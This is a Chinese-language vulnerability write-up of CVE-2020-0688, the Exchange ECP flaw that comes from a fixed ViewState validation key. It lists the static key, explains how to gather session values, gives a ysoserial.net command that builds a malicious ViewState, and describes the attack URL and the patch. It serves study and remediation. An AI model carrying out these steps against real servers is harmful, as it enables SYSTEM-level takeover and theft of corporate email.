Microsoft Exchange服务器远程代码执行漏洞分析(CVE-2020-0688)
漏洞概述
CVE-2020-0688是Microsoft Exchange Server中的一个远程代码执行漏洞,影响所有受支持的Exchange Server版本。该漏洞由匿名研究人员报告,微软在2020年2月的补丁中修复了此问题。
漏洞原理
该漏洞源于Exchange Server在安装时未能正确创建唯一的加密密钥,导致所有Exchange服务器安装使用了相同的validationKey和decryptionKey。这些密钥存储在web.config文件中,用于为ViewState提供安全性。
ViewState是ASP.NET Web应用程序在客户端上以序列化格式存储在服务器端的数据,客户端通过"__VIEWSTATE"参数将此数据提供回服务器。
由于使用了静态密钥,经过身份验证的攻击者可以构造恶意的ViewState数据,诱使服务器反序列化这些数据,从而以SYSTEM权限执行任意.NET代码。
漏洞利用条件
- 攻击者需要拥有有效的Exchange服务器用户凭证(任何权限级别均可)
- 目标Exchange服务器未安装2020年2月安全更新
漏洞复现步骤
1. 收集必要信息
首先需要收集以下关键信息:
-
静态密钥(从web.config文件中获取):
validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BFvalidationalg = SHA1
-
动态信息(通过登录会话获取):
__VIEWSTATEGENERATOR值(从页面源代码中获取)ViewStateUserKey值(即ASP.NET_SessionId cookie值)
2. 获取动态信息的方法
- 访问
/ecp/default.aspx页面并使用任意账户登录 - 刷新页面(F5)并使用开发者工具(F12):
- 在"Network"选项卡中查看页面响应,获取
__VIEWSTATEGENERATOR值 - 在"Headers"选项卡中查找
ASP.NET_SessionIdcookie值作为ViewStateUserKey
- 在"Network"选项卡中查看页面响应,获取
3. 生成恶意ViewState
使用ysoserial.net工具生成ViewState有效负载:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo OOOPS!!! > c:/Vuln_Server.txt"
--validationalg="SHA1"
--validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF"
--generator="B97B4E27"
--viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663"
--isdebug
--islegacy
4. 构造攻击URL
将生成的ViewState进行URL编码,并构造如下URL:
/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>
其中:
<generator>替换为实际的__VIEWSTATEGENERATOR值<ViewState>替换为URL编码后的ViewState有效负载
5. 执行攻击
将构造好的URL提交给Exchange服务器,虽然服务器会返回500错误,但攻击已成功执行。
漏洞验证
攻击成功后,可以检查目标服务器上是否创建了指定的文件(如示例中的C:\Vuln_Server.txt),并验证文件所有者是否为SYSTEM。
漏洞影响
成功利用此漏洞的攻击者可以:
- 以SYSTEM权限执行任意代码
- 完全控制目标Exchange服务器
- 窃取或伪造企业电子邮件通信
修复方案
微软通过以下方式修复了此漏洞:
- 更正了Microsoft Exchange在安装过程中创建密钥的方式
- 将Exchange静态安装密钥改为在安装时随机生成加密密钥
管理员应立即安装2020年2月及之后的安全更新。
补充说明
- 微软将此漏洞评为"Important"级别,但实际风险可能更高
- 在企业内部,几乎所有用户都可以向Exchange服务器进行身份验证
- 微软漏洞利用指数为1(30天内可能被广泛利用)
参考工具
- ysoserial.net:用于生成反序列化payload的工具
GitHub地址:https://github.com/pwntester/ysoserial.net
原文参考
https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys